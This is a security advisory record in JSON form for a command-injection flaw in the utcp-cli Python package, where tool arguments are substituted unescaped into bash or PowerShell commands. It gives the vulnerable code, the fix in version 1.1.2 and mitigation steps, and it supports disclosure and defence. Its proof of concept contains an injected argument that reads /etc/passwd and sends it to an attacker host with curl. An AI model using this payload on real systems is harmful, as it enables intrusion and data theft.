{"id":"PYSEC-2026-560","summary":"utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol","details":"## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n \n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f'{var_name}=$({substituted_command} 2\u003e&1)')\n```\n\nAnd executed via:\n\n```python\nshell_cmd = ['/bin/bash', '-c', script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n ```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e&1)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n ## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `&`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.","aliases":["CVE-2026-45369","GHSA-33p6-5jxp-p3x4"],"modified":"2026-07-01T20:23:10.958711Z","published":"2026-06-29T11:50:49.296555Z","references":[{"type":"WEB","url":"https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45369"},{"type":"PACKAGE","url":"https://github.com/universal-tool-calling-protocol/python-utcp"},{"type":"PACKAGE","url":"https://pypi.org/project/utcp-cli"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-33p6-5jxp-p3x4"}],"affected":[{"package":{"name":"utcp-cli","ecosystem":"PyPI","purl":"pkg:pypi/utcp-cli"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.2"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.1.0","1.1.1"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.1.1","source":"https://github.com/pypa/advisory-database/blob/main/vulns/utcp-cli/PYSEC-2026-560.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"}]}